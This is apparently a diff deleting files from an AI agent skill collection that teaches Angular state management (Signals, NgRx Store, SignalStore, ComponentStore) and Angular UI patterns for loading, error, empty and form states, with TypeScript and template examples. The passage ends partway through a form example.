||||
|
||||
This skill provides decision frameworks and implementation patterns for:
|
||||
|
||||
- **Signal-based Services** - Lightweight state for shared data
|
||||
- **NgRx SignalStore** - Feature-scoped state with computed values
|
||||
- **NgRx Store** - Enterprise-scale global state management
|
||||
- **RxJS ComponentStore** - Reactive component-level state
|
||||
- **Forms State** - Reactive and template-driven form patterns
|
||||
|
||||
## Structure
|
||||
|
||||
The `SKILL.md` file is organized into:
|
||||
|
||||
1. **State Categories** - Local, shared, global, server, URL, and form state
|
||||
2. **Selection Criteria** - Decision trees for choosing the right solution
|
||||
3. **Implementation Patterns** - Complete examples for each approach
|
||||
4. **Migration Guides** - Moving from BehaviorSubject to Signals
|
||||
5. **Bridging Patterns** - Integrating Signals with RxJS
|
||||
|
||||
## When to Use Each Pattern
|
||||
|
||||
- **Signal Service**: Shared UI state (theme, user preferences)
|
||||
- **NgRx SignalStore**: Feature state with computed values
|
||||
- **NgRx Store**: Complex cross-feature dependencies
|
||||
- **ComponentStore**: Component-scoped async operations
|
||||
- **Reactive Forms**: Form state with validation
|
||||
|
||||
## Version
|
||||
|
||||
Current version: 1.0.0 (February 2026)
|
||||
|
||||
## References
|
||||
|
||||
- [Angular Signals](https://angular.dev/guide/signals)
|
||||
- [NgRx](https://ngrx.io)
|
||||
- [NgRx SignalStore](https://ngrx.io/guide/signals)
|
||||
@@ -1,634 +0,0 @@
|
||||
---
|
||||
name: angular-state-management
|
||||
description: "Master modern Angular state management with Signals, NgRx, and RxJS. Use when setting up global state, managing component stores, choosing between state solutions, or migrating from legacy patterns."
|
||||
risk: safe
|
||||
source: self
|
||||
---
|
||||
|
||||
# Angular State Management
|
||||
|
||||
Comprehensive guide to modern Angular state management patterns, from Signal-based local state to global stores and server state synchronization.
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
- Setting up global state management in Angular
|
||||
- Choosing between Signals, NgRx, or Akita
|
||||
- Managing component-level stores
|
||||
- Implementing optimistic updates
|
||||
- Debugging state-related issues
|
||||
- Migrating from legacy state patterns
|
||||
|
||||
## Do Not Use This Skill When
|
||||
|
||||
- The task is unrelated to Angular state management
|
||||
- You need React state management → use `react-state-management`
|
||||
|
||||
---
|
||||
|
||||
## Core Concepts
|
||||
|
||||
### State Categories
|
||||
|
||||
| Type | Description | Solutions |
|
||||
| ---------------- | ---------------------------- | --------------------- |
|
||||
| **Local State** | Component-specific, UI state | Signals, `signal()` |
|
||||
| **Shared State** | Between related components | Signal services |
|
||||
| **Global State** | App-wide, complex | NgRx, Akita, Elf |
|
||||
| **Server State** | Remote data, caching | NgRx Query, RxAngular |
|
||||
| **URL State** | Route parameters | ActivatedRoute |
|
||||
| **Form State** | Input values, validation | Reactive Forms |
|
||||
|
||||
### Selection Criteria
|
||||
|
||||
```
|
||||
Small app, simple state → Signal Services
|
||||
Medium app, moderate state → Component Stores
|
||||
Large app, complex state → NgRx Store
|
||||
Heavy server interaction → NgRx Query + Signal Services
|
||||
Real-time updates → RxAngular + Signals
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Start: Signal-Based State
|
||||
|
||||
### Pattern 1: Simple Signal Service
|
||||
|
||||
```typescript
|
||||
// services/counter.service.ts
|
||||
import { Injectable, signal, computed } from "@angular/core";
|
||||
|
||||
@Injectable({ providedIn: "root" })
|
||||
export class CounterService {
|
||||
// Private writable signals
|
||||
private _count = signal(0);
|
||||
|
||||
// Public read-only
|
||||
readonly count = this._count.asReadonly();
|
||||
readonly doubled = computed(() => this._count() * 2);
|
||||
readonly isPositive = computed(() => this._count() > 0);
|
||||
|
||||
increment() {
|
||||
this._count.update((v) => v + 1);
|
||||
}
|
||||
|
||||
decrement() {
|
||||
this._count.update((v) => v - 1);
|
||||
}
|
||||
|
||||
reset() {
|
||||
this._count.set(0);
|
||||
}
|
||||
}
|
||||
|
||||
// Usage in component
|
||||
@Component({
|
||||
template: `
|
||||
<p>Count: {{ counter.count() }}</p>
|
||||
<p>Doubled: {{ counter.doubled() }}</p>
|
||||
<button (click)="counter.increment()">+</button>
|
||||
`,
|
||||
})
|
||||
export class CounterComponent {
|
||||
counter = inject(CounterService);
|
||||
}
|
||||
```
|
||||
|
||||
### Pattern 2: Feature Signal Store
|
||||
|
||||
```typescript
|
||||
// stores/user.store.ts
|
||||
import { Injectable, signal, computed, inject } from "@angular/core";
|
||||
import { HttpClient } from "@angular/common/http";
|
||||
import { toSignal } from "@angular/core/rxjs-interop";
|
||||
|
||||
interface User {
|
||||
id: string;
|
||||
name: string;
|
||||
email: string;
|
||||
}
|
||||
|
||||
interface UserState {
|
||||
user: User | null;
|
||||
loading: boolean;
|
||||
error: string | null;
|
||||
}
|
||||
|
||||
@Injectable({ providedIn: "root" })
|
||||
export class UserStore {
|
||||
private http = inject(HttpClient);
|
||||
|
||||
// State signals
|
||||
private _user = signal<User | null>(null);
|
||||
private _loading = signal(false);
|
||||
private _error = signal<string | null>(null);
|
||||
|
||||
// Selectors (read-only computed)
|
||||
readonly user = computed(() => this._user());
|
||||
readonly loading = computed(() => this._loading());
|
||||
readonly error = computed(() => this._error());
|
||||
readonly isAuthenticated = computed(() => this._user() !== null);
|
||||
readonly displayName = computed(() => this._user()?.name ?? "Guest");
|
||||
|
||||
// Actions
|
||||
async loadUser(id: string) {
|
||||
this._loading.set(true);
|
||||
this._error.set(null);
|
||||
|
||||
try {
|
||||
const user = await fetch(`/api/users/${id}`).then((r) => r.json());
|
||||
this._user.set(user);
|
||||
} catch (e) {
|
||||
this._error.set("Failed to load user");
|
||||
} finally {
|
||||
this._loading.set(false);
|
||||
}
|
||||
}
|
||||
|
||||
updateUser(updates: Partial<User>) {
|
||||
this._user.update((user) => (user ? { ...user, ...updates } : null));
|
||||
}
|
||||
|
||||
logout() {
|
||||
this._user.set(null);
|
||||
this._error.set(null);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Pattern 3: SignalStore (NgRx Signals)
|
||||
|
||||
```typescript
|
||||
// stores/products.store.ts
|
||||
import {
|
||||
signalStore,
|
||||
withState,
|
||||
withMethods,
|
||||
withComputed,
|
||||
patchState,
|
||||
} from "@ngrx/signals";
|
||||
import { inject } from "@angular/core";
|
||||
import { ProductService } from "./product.service";
|
||||
|
||||
interface ProductState {
|
||||
products: Product[];
|
||||
loading: boolean;
|
||||
filter: string;
|
||||
}
|
||||
|
||||
const initialState: ProductState = {
|
||||
products: [],
|
||||
loading: false,
|
||||
filter: "",
|
||||
};
|
||||
|
||||
export const ProductStore = signalStore(
|
||||
{ providedIn: "root" },
|
||||
|
||||
withState(initialState),
|
||||
|
||||
withComputed((store) => ({
|
||||
filteredProducts: computed(() => {
|
||||
const filter = store.filter().toLowerCase();
|
||||
return store
|
||||
.products()
|
||||
.filter((p) => p.name.toLowerCase().includes(filter));
|
||||
}),
|
||||
totalCount: computed(() => store.products().length),
|
||||
})),
|
||||
|
||||
withMethods((store, productService = inject(ProductService)) => ({
|
||||
async loadProducts() {
|
||||
patchState(store, { loading: true });
|
||||
|
||||
try {
|
||||
const products = await productService.getAll();
|
||||
patchState(store, { products, loading: false });
|
||||
} catch {
|
||||
patchState(store, { loading: false });
|
||||
}
|
||||
},
|
||||
|
||||
setFilter(filter: string) {
|
||||
patchState(store, { filter });
|
||||
},
|
||||
|
||||
addProduct(product: Product) {
|
||||
patchState(store, ({ products }) => ({
|
||||
products: [...products, product],
|
||||
}));
|
||||
},
|
||||
})),
|
||||
);
|
||||
|
||||
// Usage
|
||||
@Component({
|
||||
template: `
|
||||
<input (input)="store.setFilter($event.target.value)" />
|
||||
@if (store.loading()) {
|
||||
<app-spinner />
|
||||
} @else {
|
||||
@for (product of store.filteredProducts(); track product.id) {
|
||||
<app-product-card [product]="product" />
|
||||
}
|
||||
}
|
||||
`,
|
||||
})
|
||||
export class ProductListComponent {
|
||||
store = inject(ProductStore);
|
||||
|
||||
ngOnInit() {
|
||||
this.store.loadProducts();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## NgRx Store (Global State)
|
||||
|
||||
### Setup
|
||||
|
||||
```typescript
|
||||
// store/app.state.ts
|
||||
import { ActionReducerMap } from "@ngrx/store";
|
||||
|
||||
export interface AppState {
|
||||
user: UserState;
|
||||
cart: CartState;
|
||||
}
|
||||
|
||||
export const reducers: ActionReducerMap<AppState> = {
|
||||
user: userReducer,
|
||||
cart: cartReducer,
|
||||
};
|
||||
|
||||
// main.ts
|
||||
bootstrapApplication(AppComponent, {
|
||||
providers: [
|
||||
provideStore(reducers),
|
||||
provideEffects([UserEffects, CartEffects]),
|
||||
provideStoreDevtools({ maxAge: 25 }),
|
||||
],
|
||||
});
|
||||
```
|
||||
|
||||
### Feature Slice Pattern
|
||||
|
||||
```typescript
|
||||
// store/user/user.actions.ts
|
||||
import { createActionGroup, props, emptyProps } from "@ngrx/store";
|
||||
|
||||
export const UserActions = createActionGroup({
|
||||
source: "User",
|
||||
events: {
|
||||
"Load User": props<{ userId: string }>(),
|
||||
"Load User Success": props<{ user: User }>(),
|
||||
"Load User Failure": props<{ error: string }>(),
|
||||
"Update User": props<{ updates: Partial<User> }>(),
|
||||
Logout: emptyProps(),
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
```typescript
|
||||
// store/user/user.reducer.ts
|
||||
import { createReducer, on } from "@ngrx/store";
|
||||
import { UserActions } from "./user.actions";
|
||||
|
||||
export interface UserState {
|
||||
user: User | null;
|
||||
loading: boolean;
|
||||
error: string | null;
|
||||
}
|
||||
|
||||
const initialState: UserState = {
|
||||
user: null,
|
||||
loading: false,
|
||||
error: null,
|
||||
};
|
||||
|
||||
export const userReducer = createReducer(
|
||||
initialState,
|
||||
|
||||
on(UserActions.loadUser, (state) => ({
|
||||
...state,
|
||||
loading: true,
|
||||
error: null,
|
||||
})),
|
||||
|
||||
on(UserActions.loadUserSuccess, (state, { user }) => ({
|
||||
...state,
|
||||
user,
|
||||
loading: false,
|
||||
})),
|
||||
|
||||
on(UserActions.loadUserFailure, (state, { error }) => ({
|
||||
...state,
|
||||
loading: false,
|
||||
error,
|
||||
})),
|
||||
|
||||
on(UserActions.logout, () => initialState),
|
||||
);
|
||||
```
|
||||
|
||||
```typescript
|
||||
// store/user/user.selectors.ts
|
||||
import { createFeatureSelector, createSelector } from "@ngrx/store";
|
||||
import { UserState } from "./user.reducer";
|
||||
|
||||
export const selectUserState = createFeatureSelector<UserState>("user");
|
||||
|
||||
export const selectUser = createSelector(
|
||||
selectUserState,
|
||||
(state) => state.user,
|
||||
);
|
||||
|
||||
export const selectUserLoading = createSelector(
|
||||
selectUserState,
|
||||
(state) => state.loading,
|
||||
);
|
||||
|
||||
export const selectIsAuthenticated = createSelector(
|
||||
selectUser,
|
||||
(user) => user !== null,
|
||||
);
|
||||
```
|
||||
|
||||
```typescript
|
||||
// store/user/user.effects.ts
|
||||
import { Injectable, inject } from "@angular/core";
|
||||
import { Actions, createEffect, ofType } from "@ngrx/effects";
|
||||
import { switchMap, map, catchError, of } from "rxjs";
|
||||
|
||||
@Injectable()
|
||||
export class UserEffects {
|
||||
private actions$ = inject(Actions);
|
||||
private userService = inject(UserService);
|
||||
|
||||
loadUser$ = createEffect(() =>
|
||||
this.actions$.pipe(
|
||||
ofType(UserActions.loadUser),
|
||||
switchMap(({ userId }) =>
|
||||
this.userService.getUser(userId).pipe(
|
||||
map((user) => UserActions.loadUserSuccess({ user })),
|
||||
catchError((error) =>
|
||||
of(UserActions.loadUserFailure({ error: error.message })),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Component Usage
|
||||
|
||||
```typescript
|
||||
@Component({
|
||||
template: `
|
||||
@if (loading()) {
|
||||
<app-spinner />
|
||||
} @else if (user(); as user) {
|
||||
<h1>Welcome, {{ user.name }}</h1>
|
||||
<button (click)="logout()">Logout</button>
|
||||
}
|
||||
`,
|
||||
})
|
||||
export class HeaderComponent {
|
||||
private store = inject(Store);
|
||||
|
||||
user = this.store.selectSignal(selectUser);
|
||||
loading = this.store.selectSignal(selectUserLoading);
|
||||
|
||||
logout() {
|
||||
this.store.dispatch(UserActions.logout());
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## RxJS-Based Patterns
|
||||
|
||||
### Component Store (Local Feature State)
|
||||
|
||||
```typescript
|
||||
// stores/todo.store.ts
|
||||
import { Injectable } from "@angular/core";
|
||||
import { ComponentStore } from "@ngrx/component-store";
|
||||
import { switchMap, tap, catchError, EMPTY } from "rxjs";
|
||||
|
||||
interface TodoState {
|
||||
todos: Todo[];
|
||||
loading: boolean;
|
||||
}
|
||||
|
||||
@Injectable()
|
||||
export class TodoStore extends ComponentStore<TodoState> {
|
||||
constructor(private todoService: TodoService) {
|
||||
super({ todos: [], loading: false });
|
||||
}
|
||||
|
||||
// Selectors
|
||||
readonly todos$ = this.select((state) => state.todos);
|
||||
readonly loading$ = this.select((state) => state.loading);
|
||||
readonly completedCount$ = this.select(
|
||||
this.todos$,
|
||||
(todos) => todos.filter((t) => t.completed).length,
|
||||
);
|
||||
|
||||
// Updaters
|
||||
readonly addTodo = this.updater((state, todo: Todo) => ({
|
||||
...state,
|
||||
todos: [...state.todos, todo],
|
||||
}));
|
||||
|
||||
readonly toggleTodo = this.updater((state, id: string) => ({
|
||||
...state,
|
||||
todos: state.todos.map((t) =>
|
||||
t.id === id ? { ...t, completed: !t.completed } : t,
|
||||
),
|
||||
}));
|
||||
|
||||
// Effects
|
||||
readonly loadTodos = this.effect<void>((trigger$) =>
|
||||
trigger$.pipe(
|
||||
tap(() => this.patchState({ loading: true })),
|
||||
switchMap(() =>
|
||||
this.todoService.getAll().pipe(
|
||||
tap({
|
||||
next: (todos) => this.patchState({ todos, loading: false }),
|
||||
error: () => this.patchState({ loading: false }),
|
||||
}),
|
||||
catchError(() => EMPTY),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Server State with Signals
|
||||
|
||||
### HTTP + Signals Pattern
|
||||
|
||||
```typescript
|
||||
// services/api.service.ts
|
||||
import { Injectable, signal, inject } from "@angular/core";
|
||||
import { HttpClient } from "@angular/common/http";
|
||||
import { toSignal } from "@angular/core/rxjs-interop";
|
||||
|
||||
interface ApiState<T> {
|
||||
data: T | null;
|
||||
loading: boolean;
|
||||
error: string | null;
|
||||
}
|
||||
|
||||
@Injectable({ providedIn: "root" })
|
||||
export class ProductApiService {
|
||||
private http = inject(HttpClient);
|
||||
|
||||
private _state = signal<ApiState<Product[]>>({
|
||||
data: null,
|
||||
loading: false,
|
||||
error: null,
|
||||
});
|
||||
|
||||
readonly products = computed(() => this._state().data ?? []);
|
||||
readonly loading = computed(() => this._state().loading);
|
||||
readonly error = computed(() => this._state().error);
|
||||
|
||||
async fetchProducts(): Promise<void> {
|
||||
this._state.update((s) => ({ ...s, loading: true, error: null }));
|
||||
|
||||
try {
|
||||
const data = await firstValueFrom(
|
||||
this.http.get<Product[]>("/api/products"),
|
||||
);
|
||||
this._state.update((s) => ({ ...s, data, loading: false }));
|
||||
} catch (e) {
|
||||
this._state.update((s) => ({
|
||||
...s,
|
||||
loading: false,
|
||||
error: "Failed to fetch products",
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
// Optimistic update
|
||||
async deleteProduct(id: string): Promise<void> {
|
||||
const previousData = this._state().data;
|
||||
|
||||
// Optimistically remove
|
||||
this._state.update((s) => ({
|
||||
...s,
|
||||
data: s.data?.filter((p) => p.id !== id) ?? null,
|
||||
}));
|
||||
|
||||
try {
|
||||
await firstValueFrom(this.http.delete(`/api/products/${id}`));
|
||||
} catch {
|
||||
// Rollback on error
|
||||
this._state.update((s) => ({ ...s, data: previousData }));
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
### Do's
|
||||
|
||||
| Practice | Why |
|
||||
| ---------------------------------- | ---------------------------------- |
|
||||
| Use Signals for local state | Simple, reactive, no subscriptions |
|
||||
| Use `computed()` for derived data | Auto-updates, memoized |
|
||||
| Colocate state with feature | Easier to maintain |
|
||||
| Use NgRx for complex flows | Actions, effects, devtools |
|
||||
| Prefer `inject()` over constructor | Cleaner, works in factories |
|
||||
|
||||
### Don'ts
|
||||
|
||||
| Anti-Pattern | Instead |
|
||||
| --------------------------------- | ----------------------------------------------------- |
|
||||
| Store derived data | Use `computed()` |
|
||||
| Mutate signals directly | Use `set()` or `update()` |
|
||||
| Over-globalize state | Keep local when possible |
|
||||
| Mix RxJS and Signals chaotically | Choose primary, bridge with `toSignal`/`toObservable` |
|
||||
| Subscribe in components for state | Use template with signals |
|
||||
|
||||
---
|
||||
|
||||
## Migration Path
|
||||
|
||||
### From BehaviorSubject to Signals
|
||||
|
||||
```typescript
|
||||
// Before: RxJS-based
|
||||
@Injectable({ providedIn: "root" })
|
||||
export class OldUserService {
|
||||
private userSubject = new BehaviorSubject<User | null>(null);
|
||||
user$ = this.userSubject.asObservable();
|
||||
|
||||
setUser(user: User) {
|
||||
this.userSubject.next(user);
|
||||
}
|
||||
}
|
||||
|
||||
// After: Signal-based
|
||||
@Injectable({ providedIn: "root" })
|
||||
export class UserService {
|
||||
private _user = signal<User | null>(null);
|
||||
readonly user = this._user.asReadonly();
|
||||
|
||||
setUser(user: User) {
|
||||
this._user.set(user);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Bridging Signals and RxJS
|
||||
|
||||
```typescript
|
||||
import { toSignal, toObservable } from '@angular/core/rxjs-interop';
|
||||
|
||||
// Observable → Signal
|
||||
@Component({...})
|
||||
export class ExampleComponent {
|
||||
private route = inject(ActivatedRoute);
|
||||
|
||||
// Convert Observable to Signal
|
||||
userId = toSignal(
|
||||
this.route.params.pipe(map(p => p['id'])),
|
||||
{ initialValue: '' }
|
||||
);
|
||||
}
|
||||
|
||||
// Signal → Observable
|
||||
export class DataService {
|
||||
private filter = signal('');
|
||||
|
||||
// Convert Signal to Observable
|
||||
filter$ = toObservable(this.filter);
|
||||
|
||||
filteredData$ = this.filter$.pipe(
|
||||
debounceTime(300),
|
||||
switchMap(filter => this.http.get(`/api/data?q=${filter}`))
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Resources
|
||||
|
||||
- [Angular Signals Guide](https://angular.dev/guide/signals)
|
||||
- [NgRx Documentation](https://ngrx.io/)
|
||||
- [NgRx SignalStore](https://ngrx.io/guide/signals)
|
||||
- [RxAngular](https://www.rx-angular.io/)
|
||||
@@ -1,13 +0,0 @@
|
||||
{
|
||||
"version": "1.0.0",
|
||||
"organization": "Antigravity Awesome Skills",
|
||||
"date": "February 2026",
|
||||
"abstract": "Complete state management guide for Angular applications designed for AI agents and LLMs. Covers Signal-based services, NgRx for global state, RxJS patterns, and component stores. Includes decision trees for choosing the right solution, migration patterns from BehaviorSubject to Signals, and strategies for bridging Signals with RxJS observables.",
|
||||
"references": [
|
||||
"https://angular.dev/guide/signals",
|
||||
"https://ngrx.io",
|
||||
"https://ngrx.io/guide/signals",
|
||||
"https://www.rx-angular.io",
|
||||
"https://github.com/ngrx/platform"
|
||||
]
|
||||
}
|
||||
@@ -1,55 +0,0 @@
|
||||
# Angular UI Patterns
|
||||
|
||||
Modern UI patterns for building robust Angular applications optimized for AI agents and LLMs.
|
||||
|
||||
## Overview
|
||||
|
||||
This skill covers essential UI patterns for:
|
||||
|
||||
- **Loading States** - Skeleton vs spinner decision trees
|
||||
- **Error Handling** - Error boundary hierarchy and recovery
|
||||
- **Progressive Disclosure** - Using `@defer` for lazy rendering
|
||||
- **Data Display** - Handling empty, loading, and error states
|
||||
- **Form Patterns** - Submission states and validation feedback
|
||||
- **Dialog/Modal Patterns** - Proper dialog lifecycle management
|
||||
|
||||
## Core Principles
|
||||
|
||||
1. **Never show stale UI** - Only show loading when no data exists
|
||||
2. **Surface all errors** - Never silently fail
|
||||
3. **Optimistic updates** - Update UI before server confirms
|
||||
4. **Progressive disclosure** - Use `@defer` to load non-critical content
|
||||
5. **Graceful degradation** - Fallback for failed features
|
||||
|
||||
## Structure
|
||||
|
||||
The `SKILL.md` file includes:
|
||||
|
||||
1. **Golden Rules** - Non-negotiable patterns to follow
|
||||
2. **Decision Trees** - When to use skeleton vs spinner
|
||||
3. **Code Examples** - Correct vs incorrect implementations
|
||||
4. **Anti-patterns** - Common mistakes to avoid
|
||||
|
||||
## Quick Reference
|
||||
|
||||
```html
|
||||
<!-- Angular template pattern for data states -->
|
||||
@if (error()) {
|
||||
<app-error-state [error]="error()" (retry)="load()" />
|
||||
} @else if (loading() && !data()) {
|
||||
<app-skeleton-state />
|
||||
} @else if (!data()?.length) {
|
||||
<app-empty-state message="No items found" />
|
||||
} @else {
|
||||
<app-data-display [data]="data()" />
|
||||
}
|
||||
```
|
||||
|
||||
## Version
|
||||
|
||||
Current version: 1.0.0 (February 2026)
|
||||
|
||||
## References
|
||||
|
||||
- [Angular @defer](https://angular.dev/guide/defer)
|
||||
- [Angular Templates](https://angular.dev/guide/templates)
|
||||
@@ -1,511 +0,0 @@
|
||||
---
|
||||
name: angular-ui-patterns
|
||||
description: "Modern Angular UI patterns for loading states, error handling, and data display. Use when building UI components, handling async data, or managing component states."
|
||||
risk: safe
|
||||
source: self
|
||||
---
|
||||
|
||||
# Angular UI Patterns
|
||||
|
||||
## Core Principles
|
||||
|
||||
1. **Never show stale UI** - Loading states only when actually loading
|
||||
2. **Always surface errors** - Users must know when something fails
|
||||
3. **Optimistic updates** - Make the UI feel instant
|
||||
4. **Progressive disclosure** - Use `@defer` to show content as available
|
||||
5. **Graceful degradation** - Partial data is better than no data
|
||||
|
||||
---
|
||||
|
||||
## Loading State Patterns
|
||||
|
||||
### The Golden Rule
|
||||
|
||||
**Show loading indicator ONLY when there's no data to display.**
|
||||
|
||||
```typescript
|
||||
@Component({
|
||||
template: `
|
||||
@if (error()) {
|
||||
<app-error-state [error]="error()" (retry)="load()" />
|
||||
} @else if (loading() && !items().length) {
|
||||
<app-skeleton-list />
|
||||
} @else if (!items().length) {
|
||||
<app-empty-state message="No items found" />
|
||||
} @else {
|
||||
<app-item-list [items]="items()" />
|
||||
}
|
||||
`,
|
||||
})
|
||||
export class ItemListComponent {
|
||||
private store = inject(ItemStore);
|
||||
|
||||
items = this.store.items;
|
||||
loading = this.store.loading;
|
||||
error = this.store.error;
|
||||
}
|
||||
```
|
||||
|
||||
### Loading State Decision Tree
|
||||
|
||||
```
|
||||
Is there an error?
|
||||
→ Yes: Show error state with retry option
|
||||
→ No: Continue
|
||||
|
||||
Is it loading AND we have no data?
|
||||
→ Yes: Show loading indicator (spinner/skeleton)
|
||||
→ No: Continue
|
||||
|
||||
Do we have data?
|
||||
→ Yes, with items: Show the data
|
||||
→ Yes, but empty: Show empty state
|
||||
→ No: Show loading (fallback)
|
||||
```
|
||||
|
||||
### Skeleton vs Spinner
|
||||
|
||||
| Use Skeleton When | Use Spinner When |
|
||||
| -------------------- | --------------------- |
|
||||
| Known content shape | Unknown content shape |
|
||||
| List/card layouts | Modal actions |
|
||||
| Initial page load | Button submissions |
|
||||
| Content placeholders | Inline operations |
|
||||
|
||||
---
|
||||
|
||||
## Control Flow Patterns
|
||||
|
||||
### @if/@else for Conditional Rendering
|
||||
|
||||
```html
|
||||
@if (user(); as user) {
|
||||
<span>Welcome, {{ user.name }}</span>
|
||||
} @else if (loading()) {
|
||||
<app-spinner size="small" />
|
||||
} @else {
|
||||
<a routerLink="/login">Sign In</a>
|
||||
}
|
||||
```
|
||||
|
||||
### @for with Track
|
||||
|
||||
```html
|
||||
@for (item of items(); track item.id) {
|
||||
<app-item-card [item]="item" (delete)="remove(item.id)" />
|
||||
} @empty {
|
||||
<app-empty-state
|
||||
icon="inbox"
|
||||
message="No items yet"
|
||||
actionLabel="Create Item"
|
||||
(action)="create()"
|
||||
/>
|
||||
}
|
||||
```
|
||||
|
||||
### @defer for Progressive Loading
|
||||
|
||||
```html
|
||||
<!-- Critical content loads immediately -->
|
||||
<app-header />
|
||||
<app-hero-section />
|
||||
|
||||
<!-- Non-critical content deferred -->
|
||||
@defer (on viewport) {
|
||||
<app-comments [postId]="postId()" />
|
||||
} @placeholder {
|
||||
<div class="h-32 bg-gray-100 animate-pulse"></div>
|
||||
} @loading (minimum 200ms) {
|
||||
<app-spinner />
|
||||
} @error {
|
||||
<app-error-state message="Failed to load comments" />
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Error Handling Patterns
|
||||
|
||||
### Error Handling Hierarchy
|
||||
|
||||
```
|
||||
1. Inline error (field-level) → Form validation errors
|
||||
2. Toast notification → Recoverable errors, user can retry
|
||||
3. Error banner → Page-level errors, data still partially usable
|
||||
4. Full error screen → Unrecoverable, needs user action
|
||||
```
|
||||
|
||||
### Always Show Errors
|
||||
|
||||
**CRITICAL: Never swallow errors silently.**
|
||||
|
||||
```typescript
|
||||
// CORRECT - Error always surfaced to user
|
||||
@Component({...})
|
||||
export class CreateItemComponent {
|
||||
private store = inject(ItemStore);
|
||||
private toast = inject(ToastService);
|
||||
|
||||
async create(data: CreateItemDto) {
|
||||
try {
|
||||
await this.store.create(data);
|
||||
this.toast.success('Item created successfully');
|
||||
this.router.navigate(['/items']);
|
||||
} catch (error) {
|
||||
console.error('createItem failed:', error);
|
||||
this.toast.error('Failed to create item. Please try again.');
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// WRONG - Error silently caught
|
||||
async create(data: CreateItemDto) {
|
||||
try {
|
||||
await this.store.create(data);
|
||||
} catch (error) {
|
||||
console.error(error); // User sees nothing!
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Error State Component Pattern
|
||||
|
||||
```typescript
|
||||
@Component({
|
||||
selector: "app-error-state",
|
||||
standalone: true,
|
||||
imports: [NgOptimizedImage],
|
||||
template: `
|
||||
<div class="error-state">
|
||||
<img ngSrc="/assets/error-icon.svg" width="64" height="64" alt="" />
|
||||
<h3>{{ title() }}</h3>
|
||||
<p>{{ message() }}</p>
|
||||
@if (retry.observed) {
|
||||
<button (click)="retry.emit()" class="btn-primary">Try Again</button>
|
||||
}
|
||||
</div>
|
||||
`,
|
||||
})
|
||||
export class ErrorStateComponent {
|
||||
title = input("Something went wrong");
|
||||
message = input("An unexpected error occurred");
|
||||
retry = output<void>();
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Button State Patterns
|
||||
|
||||
### Button Loading State
|
||||
|
||||
```html
|
||||
<button
|
||||
(click)="handleSubmit()"
|
||||
[disabled]="isSubmitting() || !form.valid"
|
||||
class="btn-primary"
|
||||
>
|
||||
@if (isSubmitting()) {
|
||||
<app-spinner size="small" class="mr-2" />
|
||||
Saving... } @else { Save Changes }
|
||||
</button>
|
||||
```
|
||||
|
||||
### Disable During Operations
|
||||
|
||||
**CRITICAL: Always disable triggers during async operations.**
|
||||
|
||||
```typescript
|
||||
// CORRECT - Button disabled while loading
|
||||
@Component({
|
||||
template: `
|
||||
<button
|
||||
[disabled]="saving()"
|
||||
(click)="save()"
|
||||
>
|
||||
@if (saving()) {
|
||||
<app-spinner size="sm" /> Saving...
|
||||
} @else {
|
||||
Save
|
||||
}
|
||||
</button>
|
||||
`
|
||||
})
|
||||
export class SaveButtonComponent {
|
||||
saving = signal(false);
|
||||
|
||||
async save() {
|
||||
this.saving.set(true);
|
||||
try {
|
||||
await this.service.save();
|
||||
} finally {
|
||||
this.saving.set(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// WRONG - User can click multiple times
|
||||
<button (click)="save()">
|
||||
{{ saving() ? 'Saving...' : 'Save' }}
|
||||
</button>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Empty States
|
||||
|
||||
### Empty State Requirements
|
||||
|
||||
Every list/collection MUST have an empty state:
|
||||
|
||||
```html
|
||||
@for (item of items(); track item.id) {
|
||||
<app-item-card [item]="item" />
|
||||
} @empty {
|
||||
<app-empty-state
|
||||
icon="folder-open"
|
||||
title="No items yet"
|
||||
description="Create your first item to get started"
|
||||
actionLabel="Create Item"
|
||||
(action)="openCreateDialog()"
|
||||
/>
|
||||
}
|
||||
```
|
||||
|
||||
### Contextual Empty States
|
||||
|
||||
```typescript
|
||||
@Component({
|
||||
selector: "app-empty-state",
|
||||
template: `
|
||||
<div class="empty-state">
|
||||
<span class="icon" [class]="icon()"></span>
|
||||
<h3>{{ title() }}</h3>
|
||||
<p>{{ description() }}</p>
|
||||
@if (actionLabel()) {
|
||||
<button (click)="action.emit()" class="btn-primary">
|
||||
{{ actionLabel() }}
|
||||
</button>
|
||||
}
|
||||
</div>
|
||||
`,
|
||||
})
|
||||
export class EmptyStateComponent {
|
||||
icon = input("inbox");
|
||||
title = input.required<string>();
|
||||
description = input("");
|
||||
actionLabel = input<string | null>(null);
|
||||
action = output<void>();
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Form Patterns
|
||||
|
||||
### Form with Loading and Validation
|
||||
|
||||
```typescript
|
||||
@Component({
|
||||
template: `
|
||||
<form [formGroup]="form" (ngSubmit)="onSubmit()">
|
||||
<div class="form-field">
|
||||
<label for="name">Name</label>
|
||||
<input
|
||||
id="name"
|
||||
formControlName="name"
|
||||
[class.error]="isFieldInvalid('name')"
|
||||
/>
|
||||
@if (isFieldInvalid("name")) {
|
||||
<span class="error-text">
|
||||
{{ getFieldError("name") }}
|
||||
</span>
|
||||
}
|
||||
</div>
|
||||
|
||||
<div class="form-field">
|
||||
<label for="email">Email</label>
|
||||
<input id="email" type="email" formControlName="email" />
|
||||
@if (isFieldInvalid("email")) {
|
||||
